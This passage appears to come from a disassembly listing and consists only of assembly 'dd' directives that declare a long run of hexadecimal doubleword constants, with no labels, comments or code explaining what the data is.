dd 6B51F0D6h, 0D04DC973h, 21BB91C1h, 82002433h, 0C33F1496h
dd 0DC00810Bh, 690CBAEDh, 0BED173h, 0D2059448h, 0B4110E55h
dd 0CC8B534Ah, 0BCC036C8h, 0DBD111h, 7FE20935h, 61D8C010h
dd 22311D2Fh, 1D0E494h, 3D5B325Eh, 0DA7E01CCh, 0AFF0DF7Ch
dd 1D8AC70h, 71A3FF25h, 6C9E0DA8h, 8C33BC58h, 0A9E00100h
dd 77FEBC48h, 0B9D91435h, 840FAC67h, 29A9B021h, 0D91050C6h
dd 1C137F39h, 0C8808B11h, 0C5FECFC5h, 819DA769h, 745CAD10h
dd 0B512E538h, 9849D210h, 0E4E8C5C6h, 0C1496067h, 6CD902D2h
dd 26096158h, 7DE53C71h, 0DC7264A1h, 0B7306BF2h, 7FE73880h
dd 90D18681h, 80BE3825h, 6334361h, 397AA1h, 0A551E881h
dd 4B0EABFDh, 6F7EF398h, 7420A95Bh, 19425FEh, 9C55BFAEh
dd 70E101F1h, 490045A1h, 2237AF6Ah, 26F4D5D4h, 267C5BE0h
dd 829F11B8h, 62041271h, 600CF120h, 0E6126993h, 78151C0Eh
dd 8C202A49h, 16996209h, 0F53B00FCh, 5FF98305h, 0CF4A6976h
dd 0BDD4A004h, 95B0DCF6h, 5100F6B5h, 0E94BFED5h, 6001EBF4h
dd 0B7D7795Fh, 0B0A08BF9h, 4A3B3661h, 4C2A0033h, 9F589E38h
dd 730A260Ch, 9EC48CCh, 0CC94282Dh, 68D10491h, 2404FF18h
dd 0DCDA5722h, 0BD006CB2h, 0E6114902h, 3114405Eh, 0C290EA53h
dd 8E701D54h, 28D120E5h, 0BE9F63A9h, 239562B4h, 4C1B3C01h
dd 0E4431882h, 0CCD87EA1h, 0DCFCD913h, 0DA289C05h, 90CB8E4h
dd 0B218D677h, 0A0E8800h, 0F0905E4Eh, 0B031A44Eh, 5460A5FCh
dd 88844BBBh, 5E386308h, 984AAF7Dh, 0F70CA264h, 0A504C82Ch
dd 588417B8h, 399BA70h, 28A09318h, 1905AED7h, 0DA79B302h
dd 8CFF84F4h, 0AF6FAA05h, 7CB2ABA1h, 6FA25CC0h, 3E04793Bh
dd 0C6C7FA5Bh, 0D4198EC0h, 8C7759E5h, 7CD5D908h, 3066281Dh
dd 69D8AD40h, 0D97D8155h, 7874F2D1h, 6D467Ch, 71361307h
dd 95D1DBCh, 1F4D4958h, 38D51C10h, 646C7645h, 28C65ACh
dd 5D4ECEC2h, 0E850AEh, 55030CD8h, 81617A79h, 0DC680934h
dd 7C5AE4B5h, 34F3952Eh, 64CE5C84h, 30DAF8A0h, 53193C87h
dd 9900D076h, 0B271A4D3h, 2A5910Fh, 0C9C65E0h, 0A0805D79h
dd 0DA30C7ACh, 98E9317Eh, 37F81968h, 0C2D4AD9h, 5250DF24h
dd 0BA30AF1Bh, 9ABA868h, 0CEC427A6h, 0C93D3402h, 41FCD4C1h
dd 23D888h, 4DE9AB9Fh, 9C02C4B9h, 82B4B813h, 2EE40445h
dd 2B121461h, 2400D06Eh, 28876C2Ch, 4BEB3CFh, 222DE9Dh
dd 0DD61DC0Eh, 0C451718Fh, 0BF186BD1h, 32BE9601h, 0E0D5DD3Dh
dd 38189028h, 6CB571BDh
dd 0B08D7301h, 1E76BFBEh, 3ADE860h, 77BCE2FDh, 48B9DCF3h
dd 0A38BBCDh, 0C81BB969h, 4674E02Ch, 0A8FA1E6Ah, 0DBBB0405h
dd 104A58A4h, 1672F9DCh, 94C2922Ch, 9788F8D2h, 0EF123037h
dd 0DABC4C04h, 2541D802h, 0F7106854h, 78C32E8h, 0A547DEEEh
dd 11AF977Eh, 2054A1E0h, 0DC254220h, 0D4480F5h, 0C94EB43Dh
dd 34D18438h, 8A183271h, 453F8100h, 6C79EF31h, 0D6E89EBEh
dd 0F063B10Ch, 0A21BB26Fh, 9C0874A8h, 40882CB3h, 0CD310369h
dd 0AFC65B1Eh, 935C4D01h, 2160E40Ch, 0E4A05A3h, 0F4D627FEh
dd 96A41Ch, 59B108h, 37814465h, 0D030B51Fh, 61785956h
dd 0A4CBA4Dh, 0BBC89E1Ah, 0A4702EC4h, 0D1A11282h, 20FFA53Ch
dd 5E141F00h, 454623Ah, 86590CA1h, 44A534B4h, 8E2D4E6Ah
dd 0BEF435BEh, 32E71C8Fh, 0A3EDF7C0h, 894AE8ADh, 2CA20813h
dd 7DB55B1Dh, 0DF1DE500h, 38402886h, 17C08F02h, 0E8BC9DDDh
dd 2808DAE8h, 44D02578h, 9909B054h, 81E29A3Ch, 0D0D7373Ch
dd 395C212Bh, 0D900F2C9h, 80CEDB90h, 41C764D2h, 12D48709h
dd 0AA8074E8h, 576D7015h, 14005377h, 4847C7B5h, 0BC8F4312h
dd 0A6174018h, 5207D983h, 129684F1h, 9CA9AF35h, 3B2EEBB8h
dd 2601898Dh, 0E8DAA7F2h, 4193A030h, 8C6E2A3Dh, 0D8D9A00h
dd 5ECF4079h, 9C204898h, 0CDF00C8h, 88EBD2ABh, 0A75D20BDh
dd 0B2D11108h, 79B40C07h, 0A8B5C2AFh, 68799C51h, 3ECA0019h
dd 0A909D71Fh, 6031E135h, 0FB4E7DB0h, 3CAC6985h, 0C0D84029h
dd 416DE7Bh, 8078C93Dh, 5CBB7271h, 17E3FC23h, 3474A1B7h
dd 20F0AC34h, 2DA00ED3h, 8702F635h, 8767457h, 44E0E408h
dd 6FA860FDh, 9BA12EADh, 0A05A7038h, 0DCF06F00h, 387851B9h
dd 0E6430279h, 67910C21h, 0C719B422h, 606A4444h, 14866Ch
dd 0A38F3D4Fh, 2DB578D9h, 7252402h, 726DE137h, 311513A8h
dd 0A288F079h, 0BC70834Ch, 99F88C2Eh, 86BFB701h, 0D3BBF18Bh
dd 1E18523Ah, 0E5DC120Ah, 0C0A3E84h, 730108DFh, 3D882DA7h
dd 60DF3C8h, 3CFFAF75h, 5E03212Ch, 626BE826h, 350298E5h
dd 3630009Ch, 0E0E9FB80h, 504ADABh, 1D0417B5h, 40B32CC5h
dd 0A133C2A2h, 0D4780F50h, 4E275E80h, 0A600F9C5h, 1CD5D378h
dd 0BCE29DE1h, 2E5E0910h, 0D44BDCE6h, 0EC321499h, 1D306EE2h
dd 260F02D6h, 0B988F9AAh, 60556460h, 0E0407981h, 406E242h
dd 387A725Dh, 0BB30D13Bh, 534989D6h, 2260B611h, 0D91AE4FAh
dd 42586EF1h, 0D69C1260h, 25186C30h, 0FD3E7E42h, 671910C2h
dd 3D10723Eh, 165A7A6Fh, 0BC49C4C9h, 881B3020h, 0C502FD8h
dd 0F044B48h, 0A969B46Fh, 480060B2h, 88C0017Bh, 0E425AD2Bh
dd 0E47445B4h, 1BD6132h, 2EBCAF4h, 0AA240BD5h, 50D9614Ch
dd 8518C379h, 0FD04D475h, 0D1F137AEh, 0C85AD4A8h, 580194FCh
dd 0DBE8AEFh, 0D1F2A7B8h, 5138A120h, 9A718C2h, 0CF2943B2h
dd 0F4404C59h, 0F8135A1Fh, 484C00BBh, 8E9FB2A1h, 0D209E7CFh
dd 64795870h, 304200F8h, 0A8C21CC8h, 4A098671h, 8327D063h
dd 885303B8h, 27837951h, 0A8604895h, 873EE236h, 0A6C2036Dh
dd 75A7708Ch, 0DD8A1E3Eh, 0FD6C80C3h, 7B4B3EE3h, 28DB2600h
dd 49FC139Bh, 19E700BCh, 36C8DA68h, 0D600F285h, 5D5EBED1h
dd 50526Dh, 0EC7B993Ah, 167AAB7h, 73AE772h, 0ACC00709h
dd 0AB100A3Fh, 0B97131h, 274D30D1h, 706CC338h, 2DBC5Ch
dd 0E8CED70Fh, 0B4C15Ah, 0BB60EF6Dh, 0E7BEB692h, 47362000h
dd 5A4832C8h, 5C461FB4h, 61B4117h, 0EC3F590Eh, 4D07AF5Fh
dd 0D22AE5D1h, 40D99002h, 953011h, 8512C541h, 0A52EE31Eh
dd 462CFD06h, 3E8818A4h, 163EE037h, 1557520Fh, 39E5F240h
dd 1E2E083Dh, 6E1C0E64h, 4F58BF07h, 517EC190h, 0CB220086h
dd 83B8AF66h, 256FC6AEh, 59610051h, 2A0BBh, 77BE2FFDh
dd 0EAEF488Dh, 86DC4200h, 15940553h, 37F800A5h, 7D4CC959h
dd 0E8099C65h, 20420608h, 7B98F0F0h, 97C81817h, 302A70BAh
dd 211DDD00h, 0C65A13C0h, 0B94400E6h, 1084EEBBh, 6E01EB2Ch
dd 1C86C4A7h, 0C043C938h, 5176CDh, 4BAF5E01h, 69937F7Ah
dd 0AE099CE6h, 1A56D79h, 3CDDC50Dh, 78CFD050h, 767400FAh
dd 0DC526384h, 73062B15h, 36A0D120h, 45330090h, 3FB3FF55h
dd 0C400C69Ah, 46B8EC65h, 0EA6FC7Bh, 6EA3C74Dh, 0DC338F20h
dd 44009FCDh, 88024A1Eh, 6E61Bh, 0B4D90537h, 5D0F9658h
dd 0B8D5EF01h, 0AC238A5Ah, 0BC943D4h, 5B6EEC95h, 0F0187A80h
dd 63380411h, 0E100F92Eh, 0B05DF7C7h, 73624Ch, 0B776609Ah
dd 7FF16772h, 0C1EE39h, 61DEE24Ah, 599777h, 6EC5224Dh
dd 7CC3323Bh, 0C4FCAD71h, 15ACBF00h, 0C240737Eh, 0A2910E7Bh
dd 5608C70h, 181E1DBCh, 4413B07Eh, 8400B48h, 0B8B4F10Ah
dd 0D09D0776h, 0C0D94D60h, 0D6C13BD7h, 0BF85F303h, 0FF2CE5D4h
dd 9248A030h, 8D020AC7h, 0D82812h, 0C03A99A5h, 17EE1FE1h
dd 7AF0B41Dh, 6D57D480h, 4C5A4FA1h, 9A038012h, 27E560D6h
dd 6C783800h, 0EE11930Dh, 2A30020h, 9D3E31FFh, 95078DBFh
dd 1BFEEA56h, 864503F3h, 8CBB5098h, 856130D4h, 10931EC8h
dd 2F91F109h, 3142041h, 98888075h, 3FC20A70h, 41B0BD78h
dd 0FC8120AAh, 6C0035B3h, 75C8B695h, 705BB933h, 0D4E71251h
dd 704800B8h, 1A4EC42Fh, 0F9E8D300h, 42FAE514h, 0F05237CDh
dd 97D882C0h, 0AE111D40h, 0A3015000h, 0C2559C74h, 3E6F00F9h
dd 0D1184EC5h, 160003E6h, 66A7E5F8h, 14C796h, 3EF30C94h
dd 0B210F0B5h, 0E6135609h, 0FB4C01B9h, 0CC84D19h, 2C610006h
dd 6ABE8942h, 27781EE5h, 0C2654B12h, 0C6157442h, 28B04895h
dd 0B37003Ah, 7FEFF407h, 9028773h, 6C7645C2h, 0FFD04168h
dd 0E900B02Dh, 0C2DF7E98h, 0F0E1733Eh, 170072FAh, 8502CFCCh
dd 14E21Dh, 484797B9h, 1662AFCBh, 0A075BA00h, 5E8EDD20h
dd 0F078C04Fh, 0BB7A9401h, 810CE83Bh, 44A13561h, 0B3607C40h
dd 93BE1EA5h, 3800792Fh, 3F9AD2D5h, 0B000CAE8h, 0CEE67B43h
dd 76A9E9E5h, 16B14853h, 0C3DCF80Ah, 0E0C703C0h, 69E8318Ch
dd 78002AB8h, 0DB50BA87h, 2A740ACFh, 5ACB7EFh, 5F4FCD9Ah
dd 651880B0h, 1C012179h, 7599F3EAh, 9E81003h, 622E00D7h
dd 55BDDAF4h, 0CF01DC11h, 79072343h, 0F6E42CEEh, 0DAA10FA0h
dd 0C22030EFh, 9E69AABDh, 0C03E7907h, 641725F9h, 9B0EC160h
dd 168E71B9h, 80904C58h, 0E4BB803Ch, 1600DAE8h, 0BC66178Dh
dd 59DB27h, 0D24E95A3h, 43F86BFAh, 0ADD92F0Fh, 609B6CA8h
dd 0F9F3829h, 57332103h, 0A2807F4Bh, 1D00AB5Dh, 0B5A66E85h
dd 0E4511EDh, 0C3908CD3h, 0D5A25EA0h, 75006987h, 3504F619h
dd 3C1E36Dh, 38FF723Dh, 2198BD4Ah, 0A849635Dh, 282609FCh
dd 9A300010h, 7A46B2EFh, 0F283242Bh, 6BF6001Ch, 8FEACA37h
dd 0BB1C4C14h, 0DA0079F4h, 3CD6588Dh, 0A1FC2Fh, 61489B96h
dd 2ED0EFFh, 7DB2200Fh, 0A3C6A071h, 1A7AD0h, 0F1F4573Ah
dd 29A0533Eh, 88B51E26h, 0D3859101h, 0DC244DDAh, 83922CAAh
dd 685880D4h, 0CC6D0372h, 73D2C309h, 0C590747h, 2EF0F9A0h
dd 30020448h, 8066F649h, 2A146B2Ch, 26D43B00h, 45B55A55h
dd 8A78005Bh, 0A7C05470h, 2B00FD8Bh, 3BB053EFh, 4F9E4ABh
dd 46D4861Eh, 60C803Fh, 72008887h, 0E69E01A3h, 0C75114h
dd 0E95B27E7h, 42417AAAh, 1E0CD200h, 4A5CE12Eh, 580CB8B6h
dd 20E7459h, 7F806278h
dd 3519E40Fh, 0D5F09C00h, 0CD7B1D03h, 0E450068h, 6FEDBAB7h
dd 5004C132h, 17E4CF16h, 0D0306693h, 0C8C4A5h, 0E7CAB647h
dd 34324BF8h, 2A002570h, 605565CBh, 92714Fh, 8CF987Ah
dd 2E478877h, 80ADF63Eh, 84872F33h, 0C469A0h, 0CE9B743Ah
dd 4004955Ch, 884FCA0Fh, 0C9E2600Fh, 0D71E4Ah, 12900DDAh
dd 0F5AD3AEDh, 5018FD0Eh, 0F93C201Bh, 5E1096h, 7843BDE4h
dd 79543E05h, 2500FF75h, 5B83B5E8h, 90C3E06Ah, 0B1F30138h
dd 2E81704Dh, 84AFDC79h, 0E86D8003h, 0E0FFAC1Fh, 3ECEBBBh
dd 8FDDCC22h, 0E5BFE934h, 0B238D0A2h, 41000DF3h, 511DE1C3h
dd 1D934B7Dh, 0C28DAF07h, 5928D23Eh, 6D01F090h, 0AA006892h
dd 0BF356247h, 8BED44h, 0EBCAD7A7h, 0CFC74590h, 246FF80Eh
dd 0EDA86005h, 0E980B94h, 0E8F20A69h, 0B4E980A0h, 0FB006BA7h
dd 0E5AB9C6h, 52CCD9h, 2FE2EF24h, 1AF80439h, 0D004998h
dd 1D295E09h, 1F3A6EFAh, 4083E42Eh, 7A36BDAh, 5360DBD5h
dd 5897D299h, 2D0FAA0h, 91D86DAFh, 108FDDD5h, 0D0589965h
dd 7344DA70h, 2474087Fh, 8D831418h, 0F834DC18h, 0D1A40002h
dd 40C1B501h, 4A00B954h, 1A35383Ch, 0F02D9D71h, 5FE000F6h
dd 0A40A26Bh, 5E6FF1BCh, 0D0730168h, 0B0D11CD4h, 7070064h
dd 0DC0C6EA5h, 0D588A06Ah, 9FC3CBFh, 575BE300h, 7F21972Dh
dd 51EA24C3h, 6E770ACCh, 2871E460h, 0DD0280DFh, 72CFFE14h
dd 0DED60010h, 3D883353h, 84950FABh, 5F804AFEh, 0C026BC2h
dd 6D058h, 0AB141C59h, 0C6A534h, 6266B1FFh, 0BA20BEA8h
dd 6DBD5D00h, 0F4921553h, 64580011h, 808AF666h, 4E00A872h
dd 832A9877h, 13AAC6h, 0FF388540h, 0DA16F04h, 0B8029B7Dh
dd 0D7CEA09Dh, 4A99E058h, 0C3FD0076h, 0BDE59582h, 42070698h
dd 0DE75B7BBh, 0CFE03F40h, 839300A4h, 0F6D8B5D1h, 0E7FAE68h
dd 9D643D3Eh, 0EE02171Fh, 549D6A7Dh, 462140C8h, 58E8D625h
dd 0F9C65203h, 99866A81h, 0AEDCD866h, 9D50012h, 0D0631684h
dd 0B2010E46h, 1A2E4CA2h, 4880ABEFh, 1547B5D2h, 0FE5EB798h
dd 8506740Fh, 6D80CF50h, 1E635E71h, 0A6379A22h, 125100CBh
dd 6CD010DFh, 0D4069C0Fh, 10E00C03h, 14FD0446h, 0F59E6320h
dd 68206F2Ch, 799E442h, 1EDCB843h, 487AD95Eh, 0BDC40C14h
dd 3D9A07CBh, 7A60DDC5h, 0FEC81B2Dh, 30547C0Eh, 0BB19C115h
dd 9874F312h, 2BFD82Fh, 80D12954h, 0AB886B34h, 0A6F892h
dd 0BDE2840Eh, 1434D5DCh, 3E0FE11Eh, 63EAA542h, 0F11D40F9h
dd 83F33042h, 253B9828h, 5C8CFA00h, 0D4C63F49h, 0ECD1827h
dd 0F8920DBh, 8D363D00h, 14DA06E0h, 0C1E8F7h, 13FEA7FDh
dd 4902FF15h, 0E50E9FECh, 8CA4AE39h, 90DE0831h, 248400AFh
dd 0FEA8E749h, 8707A248h, 7A9E236h, 8613C220h, 0FF7E0066h
dd 0FEC11C8Bh, 75E0266Bh, 101D7730h, 8F4263h, 0C299946Ch
dd 43E60F98h, 90C88E30h, 3CE2E8h, 0EB46E517h, 0CC44BCBDh
dd 8489AE28h, 7055481Fh, 0D7D007C0h, 0BDC052Fh, 0D51402A4h
dd 0A9DE3303h, 0D146117Fh, 30CDE102h, 0E221BBF1h, 32F72EC8h
dd 0BD61BE41h, 0BAA60498h, 7E108B61h, 10F8DAE5h, 0E07C148Ah
dd 0EE3A148Fh, 88720F0Ch, 3C0AA411h, 8C0DE581h, 26058D06h
dd 219A6008h, 208134C6h, 0CCE00406h, 30199617h, 4479F06Dh
dd 70073992h, 0A5D082Ah, 85E31530h, 514806B3h, 0A1BF6594h
dd 3B99B502h, 809EA6BAh, 5A45D448h, 0EEB768Eh, 97706F21h
dd 79DCFF03h, 0A574D688h, 6D4BB702h, 0C18A27F3h, 5183C007h
dd 3E47E4DDh, 0E6F00E95h, 0D908CFACh, 0DD1F21DCh, 0F5FD2580h
dd 0EBF195h, 0BA9C5E46h, 0C6AB44F0h, 9993E900h, 9D91498Ch
dd 3A1B988Dh, 1E09436Bh, 5401C404h, 818EA639h, 0A5E3A9B1h
dd 6C0131Dh, 0C80A33C2h, 2100A408h, 0DA5DBD0h, 1E4374A3h
dd 0C282BC27h, 69947F1Dh, 0E8105C80h, 56F648E5h, 0CD428D05h
dd 88408718h, 5B3F7D3Bh, 70220083h, 0B965E5D1h, 671A93CAh
dd 4408B3Dh, 0E660D984h, 0F7E44047h, 0D822A743h, 0EDF023Fh
dd 80D2ECB2h, 0D935EDEBh, 697B2A6Fh, 2344674h, 1318A5DEh
dd 10A231D8h, 7A5D6CBh, 77AE2EDFh, 0F1E47028h, 21C58C46h
dd 820E685h, 929F6E81h, 0BE4C0404h, 90E66CD9h, 4D160220h
dd 0C1DDD58h, 96388AEh, 2221C0FAh, 3F5B4D0Eh, 5106FB02h
dd 8297B966h, 18A2B88h, 57900CCCh, 0C471C3A0h, 1674F97Ch
dd 0D0690CA0h, 8B98A688h, 0B01C1AD8h, 0CD727100h, 1D3A5EC0h
dd 1254011Eh, 0A724A49Fh, 0D6B842E8h, 7247E330h, 0A8DF213Dh
dd 0FF1FD791h, 906987DBh, 762BF092h, 1F556D95h, 9B802080h
dd 5C7281CAh, 0AD003026h, 0F28DD124h, 27D017Ch, 0E47F0E5Ch
dd 4F6371CCh, 0C3A0C8E0h, 3DF8137Ah, 7518E7E0h, 0ACE02492h
dd 0DA468423h, 4147E70Eh, 32A7FF44h, 0E00323D3h, 0D075EDF1h
dd 8C49CC79h, 0F01D004Ch, 6948D50Eh, 405C90E6h, 85864CB4h
dd 60DAC4A4h, 7C5D99Fh, 0B88EA480h, 744CC127h, 0FCE18099h
dd 888979Bh, 34FE07A9h, 6019709Dh, 0B80EF25Fh, 87E77301h
dd 0C666930Bh, 4100A816h, 49154C7Ah, 4D484B44h, 0E400947Bh
dd 0EACAA863h, 6DF20B02h, 84EE40h, 397DA770h, 954DCFEDh
dd 20D53E00h, 0B1E43E4h, 2167672h, 0CD39D12Fh, 0DF208411h
dd 0C3C9A743h, 0E90A9811h, 8C045150h, 98088588h, 9981567h
dd 307F903Eh, 3B219FA6h, 3D000E87h, 1D4B805Ah, 3B26B70h
dd 0C80F45B5h, 0BC908D38h, 520314F7h, 866D3E3Bh, 83D82243h
dd 7B6C7D09h, 37F81999h, 0A508E118h, 0C8F0131Bh, 0D9CE0040h
dd 45A202A5h, 9343F214h, 0E40C1168h, 0F01F4200h, 97A7AA0Fh
dd 1AB21C3h, 9E3BC8EEh, 108C0014h, 8849DE77h, 1D15E5A9h
dd 949573h, 0CFE8CEC0h, 166C33Ch, 71BFDBA5h, 0D43E9E97h
dd 6300EB87h, 447A8DAEh, 249449C8h, 413C0A67h, 48E80999h
dd 10F94AACh, 0A0E4EAh, 5E939A0Dh, 0EF374224h, 39171E01h
dd 8AAD5CD3h, 8CDA4830h, 0DE114DFEh, 0FF880A6Bh, 4D0F2380h
dd 9C77AAh, 94DB8AFAh, 1E881FCBh, 0B1038090h, 8DA36E3Eh
dd 0F7E59B4Dh, 9F1D89F4h, 0CE8FC0ABh, 40970758h, 93B81E4Bh
dd 670F0102h, 0C8442B8Ah, 397ADB46h, 7264247h, 0E1047038h
dd 41001FFCh, 5EDDF3Fh, 60CBD40Dh, 0EA3421CEh, 0E00AE3Ah
dd 5BF82977h, 0C1723Eh, 581916F4h, 69812FEh, 850DCD15h
dd 0F27D00C8h, 0E0A8D5BEh, 0E471B2h, 470B1DDEh, 0DFA9D3C8h
dd 6A494817h, 0DB38700h, 54A70746h, 8BC94h, 0B8CA190Bh
dd 0F23A10D0h, 306BE902h, 446A9486h, 151D09F0h, 0CC90CC5Bh
dd 7100F798h, 6678E0Dh, 762F7F6Ah, 8FD500EFh, 0F27BA749h
dd 59F84474h, 63EBE8B0h, 60EB3730h, 0C4F56D83h, 11BC8B00h
dd 4C000B10h, 5B81FAA5h, 0EE3DC9Eh, 46EA65Fh, 82895844h
dd 9827A0C4h, 0CB4118BFh, 599C0C7h, 0EDFF4847h, 421B3901h
dd 306E525Dh, 0E030C475h, 0EA008409h, 0D83EB56Dh, 24104943h
dd 1C08350h, 7C737079h, 127E0024h, 0D6661467h, 0D6ECF8A6h
dd 0D4872F8Ch, 9A9B9103h, 0B91DE3D3h, 5504B9DAh, 0A246DFh
dd 0D231C4Ch, 0E3813A07h, 996226A4h, 8132C420h, 0CB972978h
dd 9AF900D0h, 0F8B6DE18h, 51A72200h, 52C92EE1h, 5DFF0123h
dd 44733925h, 0F2286228h, 653630D8h, 9026A02h, 46012D66h
dd 0C13A1F60h, 5DC8074h, 0E744417Ch, 78585101h, 0ED2FAD98h
dd 8021EDD3h, 7C4C48D7h
dd 41048C14h, 5E0DEA81h, 0CB21A162h, 8BC88139h, 0DF0300E0h
dd 66D05D4Dh, 802EDC46h, 465E94F5h, 99340A9Dh, 1D81500Dh
dd 3EF1D583h, 0E1045432h, 0A22842E5h, 33D7E270h, 79C96BD8h
dd 0A14B2102h, 0E6C56C93h, 80854480h, 577B6609h, 2400B25h
dd 0C7496788h, 60D1E4CCh, 60721E50h, 8BD7618Fh, 0E1777F52h
dd 33C4E703h, 9AA754h, 6E198CE1h, 517AC895h, 0C1665C03h
dd 81644D1Eh, 9C30163Eh, 588798D3h, 0E4325ED7h, 7720C3C8h
dd 956C2B5h, 684BEACEh, 0D7FC9491h, 0C2FE04Ah, 9C00D323h
dd 0F1E4AE41h, 0A98D603Dh, 8962E5E9h, 22DCD54Ch, 483098C9h
dd 451E2443h, 0A6A0C7CAh, 0AB8B93DEh, 8F893900h, 11C132A2h
dd 14CA0552h, 8257F041h, 3CE49B30h, 0A61D6370h, 10C0332Bh
dd 2114EE2Ah, 1D29C0ECh, 0F703BE16h, 0F05E4800h, 4E8CC1B4h
dd 12BF2C6Eh, 0CD293370h, 0D08414E1h, 1CB0EC82h, 2523C420h
dd 2820748Ch, 0A83DDAC2h, 0A0A49103h, 9592FAD0h, 3033FC82h
dd 1710A5DDh, 0CAE0D013h, 9500A5D5h, 24423E4Ah, 8447715h
dd 0F66D4B49h, 8A9A6880h, 1E4F8B51h, 0C0DDB7C5h, 0EC60FFEFh
dd 0B8004C47h, 0CB05679Eh, 7204E432h, 460B00AEh, 848A19A8h
dd 4B317CDBh, 8B72709Bh, 11D0C180h, 0CAE8C2D9h, 2BEB1503h
dd 99B81642h, 5AD8B132h, 0CED43F45h, 0C2FE978Fh, 701639E7h
dd 358143D9h, 0A51D9D01h, 1F219AAAh, 0F938A6h, 812A790h
dd 6C00B37Dh, 919E115Fh, 0E027F97h, 0CDBC3133h, 24AF9803h
dd 0A2FEB9B8h, 8CA19F06h, 4814A2Ch, 0CB28D702h, 700BA1Dh
dd 23B13CE8h, 0A00E00E5h, 0A7979B36h, 0B00D3E9h, 2AF3A2F5h
dd 0F75B996h, 25011E6Dh, 0C2A41720h, 0CA30C748h, 4C3593Bh
dd 3E2C0E3Ch, 0BBC36F25h, 0D938BA05h, 15B298C7h, 0F47C9A28h
dd 2B760D04h, 0F02048A1h, 38000152h, 0C59AFC5Eh, 0AE7B36h
dd 0C4039C9Eh, 0C7BF5F0Bh, 0FD7E74Ch, 0E00E983Bh, 6808775Ah
dd 0F6B90062h, 40899AD7h, 7F0594DEh, 0BF54E03Eh, 818C6481h
dd 218C6F3h, 0B7A4A1FEh, 20BC9006h, 2F9FAB10h, 0DC4B7E07h
dd 9D0B438Dh, 9A0BEA3h, 480F3F16h, 9F7D99E3h, 0F5C75FC1h
dd 417C5E97h, 0EFFB880Dh, 62200A38h, 28C81181h, 0C864014h
dd 0CE1F63E6h, 0DF00D65Bh, 445099FDh, 0E99B003Ch, 0FD4487Fh
dd 0A9054775h, 6DBFB59Ch, 54083426h, 23A7804Dh, 1F5A41A1h
dd 6F1607A0h, 642CD037h, 740044F0h, 0E8D0B510h, 0BED9E0h
dd 0AAECA3FAh, 86167C2Ch, 3B00E2E2h, 0B19AB8C5h, 7ABB39Bh
dd 0A41580DBh, 7C1FB318h, 8875CEB1h, 8892CC29h, 0C90D69Ah
dd 48734A84h, 0D8B242D0h, 49217024h, 11E41271h, 6424E64Eh
dd 116F2121h, 4D119308h, 104812E4h, 1C897D6Ah, 9A595180h
dd 322F0E56h, 10EBFB00h, 0F4C70F5Eh, 0A43400FAh, 84D520EAh
dd 5407DB41h, 717BA325h, 13E28250h, 0BC640068h, 17578731h
dd 55EE77CAh, 20EB300h, 0D61B9FE3h, 0A7D5031Ah, 78888E9Eh
dd 883F298h, 0B322100h, 2B4A0EB9h, 0D4DF00C2h, 6A3E1ABBh
dd 9300535Dh, 1329D7CBh, 989A4Eh, 4B4C6C79h, 3F36747Ch
dd 0B7005A7Fh, 70451F51h, 0F7E621h, 0A0C01BE2h, 0A6A3234Dh
dd 500FB75h, 0DF135C72h, 862E5Ah, 0A7D21B44h, 0D5E42138h
dd 0EDF11500h, 0DACD85C3h, 0BB953827h, 58DBC080h, 13C8D141h
dd 3B27800h, 0CADE5354h, 60E800BEh, 52883B83h, 0F8246912h
dd 250014A1h, 4257C961h, 2DDB0073h, 0D5B5ED65h, 6B00CBC3h
dd 5F79BB33h, 2F6699h, 708E701h, 0C4DBCE3Ch, 0DDC25E03h
dd 982948A6h, 6B5641h, 15F6CDD7h, 20F7A486h, 1251FF03h
dd 389E5F04h, 0E87E4C70h, 2FE312BBh, 8A5F000Dh, 72394E91h
dd 0E71F7F07h, 0B9E2AE74h, 28A080ABh, 28D9BF45h, 8C6BEEh
dd 49E56594h, 38F0BE61h, 7C4C4676h, 80373C64h, 4710F90Fh
dd 0AA753Ch, 177B8A5Bh, 12A721Dh, 0C23A61Ch, 73D57682h
dd 71D26066h, 0C5CD0068h, 0B27DACC1h, 0F4004A56h, 4D666089h
dd 727C7562h, 29D4A0F3h, 929F1CB1h, 9982808Ah, 864A676Ah
dd 4607812Eh, 0BD42CC00h, 4970DD59h, 65383844h, 0C736B782h
dd 0F7E04D9Eh, 8F07F083h, 9D06F27h, 1FDA803Eh, 712DF4h
dd 979A7B7Fh, 5A17DE68h, 6CEAF04h, 0AC031ADh, 0A9FBC2h
dd 9AE676FAh, 0BBDFFE43h, 2F3AB500h, 4CD91827h, 0C052B03Dh
dd 69F2A4C8h, 0AC3C1211h, 40F09F58h, 8DD34AC0h, 0B1333Eh
dd 91535E71h, 0AF66B0E1h, 84F17A02h, 80388B14h, 50BED7D8h
dd 23B40020h, 0A0F012Dh, 0EA00E509h, 47DAE666h, 0BAC648h
dd 0E74022DFh, 0FA20FB37h, 0FF16961Ch, 0DDBC7980h, 2CFD235h
dd 9130CBF5h, 0E3E07B9Ah, 0BF006893h, 1FF2FE10h, 7D5D970h
dd 2B31CF8Dh, 9094F405h, 57FCBF00h, 6985B410h, 0B19127Fh
dd 2DC8000Dh, 0AA778B0Ah, 0E24C6300h, 182A693Eh, 0DDBF0726h
dd 0C04FDE39h, 3A9C30D1h, 5683B703h, 0A8D838FBh, 26F6D0h
dd 878A555Ch, 0FCF7819Fh, 643F9106h, 220849Dh, 2AF8F3EAh
dd 8880AD43h, 9A40FC46h, 5F96D400h, 76D8777Ah, 5663004Ch
dd 0CE2C583Fh, 200FF5Eh, 9215C198h, 8F774Eh, 0BD96B1F1h
dd 9B03B34Ch, 1790B9F4h, 0A000A590h, 169F5B02h, 3E1DFD2h
dd 0C88A2E7Fh, 4BD8052Dh, 9701C5D0h, 0EB06CB88h, 15E863F3h
dd 48FBE460h, 760486ECh, 8361DC83h, 0F5D80A00h, 1400051Eh
dd 0F433CB3Ch, 0CCC6F9h, 681F46AAh, 2E7CA1CEh, 0D11D04B8h
dd 0A400718h, 94F21965h, 12F90B10h, 1580C075h, 917EA7D0h
dd 0A678E912h, 364AE000h, 9A6372B2h, 39040078h, 5E18A787h
dd 0B900C46Ch, 52244C80h, 9C040h, 0B4A05BECh, 0C87F3E86h
dd 611CAC00h, 59F73F67h, 0F1E50013h, 46482B20h, 0FC0037FBh
dd 0D1E38B3Dh, 0E65EBAh, 0BF2F1C30h, 0C363CECDh, 311EABF2h
dd 0FFCA21B8h, 8E00C85Fh, 7C6E06C9h, 0C7E200B4h, 0AAE9C660h
dd 0BF139D34h, 851D225Ch, 473EEC43h, 2C81EC3Dh, 7371BED4h
dd 0E6311450h, 0A0F607h, 59B92693h, 0C0CAAC16h, 0E2CBC100h
